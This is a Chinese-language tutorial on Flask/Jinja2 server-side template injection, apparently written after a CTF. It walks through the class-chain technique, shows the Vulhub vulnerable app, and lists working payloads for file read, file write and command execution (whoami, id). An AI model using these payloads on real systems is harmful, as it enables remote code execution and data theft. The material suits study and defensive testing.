前言
之前在做工作室CTF題目時第一次遇到這個漏洞,當時只想着拿flag,現在好好總結下
什么是Flask
Flask是一個輕量級的可定制框架,使用Python語言編寫,較其他同類型框架更為靈活、輕便、安全且容易上手。它可以很好地結合MVC模式進行開發,開發人員分工合作,小型團隊在短時間內就可以完成功能豐富的中小型網站或Web服務的實現。另外,Flask還有很強的定制性,用戶可以根據自己的需求來添加相應的功能,在保持核心功能簡單的同時實現功能的豐富與擴展,其強大的插件庫可以讓用戶實現個性化的網站定制,開發出功能強大的網站。
什么是SSTI
SSTI(Server-Side Template Injection)
服務端模板注入,就是服務器模板中拼接了惡意用戶輸入導致各種漏洞。通過模板,Web應用可以把輸入轉換成特定的HTML文件或者email格式
Flask基礎
一個基礎的Flask代碼
from flask import flask
@app.route('/index/')
def hello_word():
return 'hello word'
這里導入flask模塊,簡單的實現了一個輸出hello word的web程序。
route裝飾器的作用是將函數與url綁定起來。這里的作用就是當訪問http://127.0.0.1/index的時候,flask會返回hello word
jinja2
jinja2是Flask作者開發的一個模板系統,起初是仿django模板的一個模板引擎,為Flask提供模板支持,由於其靈活,快速和安全等優點被廣泛使用。
在jinja2中,存在三種語法:
控制結構 {% %}
變量取值 {{ }}
注釋 {# #}
jinja2模板中使用 {{ }} 語法表示一個變量,它是一種特殊的占位符。當利用jinja2進行渲染的時候,它會把這些特殊的占位符進行填充/替換,jinja2支持python中所有的Python數據類型比如列表、字段、對象等
jinja2中的過濾器可以理解為是jinja2里面的內置函數和字符串處理函數。
被兩個括號包裹的內容會輸出其表達式的值
漏洞利用
構造payload原理
首先要知道python所有類的幾個魔法方法:
__class__ 返回類型所屬的對象(類)
__mro__ 返回一個包含對象所繼承的基類元組,方法在解析時按照元組的順序解析。
__base__ 返回該對象所繼承的基類
// __base__和__mro__都是用來尋找基類的
__subclasses__ 每個新類都保留了子類的引用,這個方法返回一個類中仍然可用的的引用的列表
__init__ 類的初始化方法
__globals__ 對包含函數全局變量的字典的引用
構造payload的大致思路是:找到父類<type 'object'>–>尋找子類(可能存在對文件操作的類file)–>找關於命令執行或者文件操作的模塊
也就是通過python的對象的繼承來一步步實現文件讀取和命令執行的。
構造payload步驟
1.獲取字符串的類對象(獲取一個類)
>>> 'a'.__class__
<type 'str'>
2.尋找基類鏈,找到<type 'object'>類
>>> 'a'.__class__.__mro__
(<type 'str'>, <type 'basestring'>, <type 'object'>)
3.尋找<type 'object'>類的所有子類中可用的引用類
>>> 'a'.__class__.__mro__[2].__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>]
這里可以看到有一個<type 'file'>類,也就是對文件操作的類,那么可以拿他的方法進行文件讀取。
4.利用<type 'file'>的read()方法進行文件讀取
'a'.__class__.__mro__[2].__subclasses__()[40]('/Users/rebecca/Sites/info.php').read()
漏洞復現
借助Vulhub復現SSTI漏洞
Vulhub上關於此漏洞的官方復現教程:https://vulhub.org/#/environments/flask/ssti/
Vulhub上的漏洞代碼如下
from flask import Flask, request
from jinja2 import Template
app = Flask(__name__)
@app.route("/")
def index():
name = request.args.get('name', 'guest')
t = Template("Hello " + name)
return t.render()
if __name__ == "__main__":
app.run()
看到Template("Hello " +name),Template()完全可控,那么就可以直接寫入jinja2的模板語言,如
尋找__builtins__得到eval
__builtin__為Python內置模塊,包含內建名稱空間中內建名字的集合,還包括內建函數,異常以及其他屬性。像我們熟悉的object,type等等類的定義都在__builtin__中
尋找__builtins__的Python代碼如下
for c in ().__class__.__bases__[0].__subclasses__():
try:
if '__builtins__' in c.__init__.__globals__.keys():
print(c.name)
except:
pass
運行代碼,可以發現
找到了一個python2/3都有__builtins__的類 _IterationGuard
於是執行python2/3通用的用於執行任意代碼的代碼
for c in ().__class__.__bases__[0].__subclasses__():
if c.__name__=='_IterationGuard':
c.__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")
用jinja的語法即為(執行命令使用os.popen('whoami').read()才有執行結果的回顯)
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='_IterationGuard' %}
{{ c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()") }}
{% endif %}
{% endfor %}
在SSTI注入點中輸入,得到結果
常見SSTI的payload收集
//獲取基本類
''.__class__.__mro__[1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
object
//讀文件
().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read()
object.__subclasses__()[40](r'C:\1.php').read()
//寫文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
object.__subclasses__()[40]('/var/www/html/input', 'w').write('123')
//執行任意命令
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )
object.__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )
官方漏洞利用方法
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }} //poppen的參數就是要執行的命令
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
將上面這一串當作注入點參數傳遞即可執行命令,這里執行的是系統命令id,可在popen("")中填入任意系統命令均可執行。
漏洞修復
- 將傳入可控參數的地方加上變量包裹符{{}},即可防止表達式執行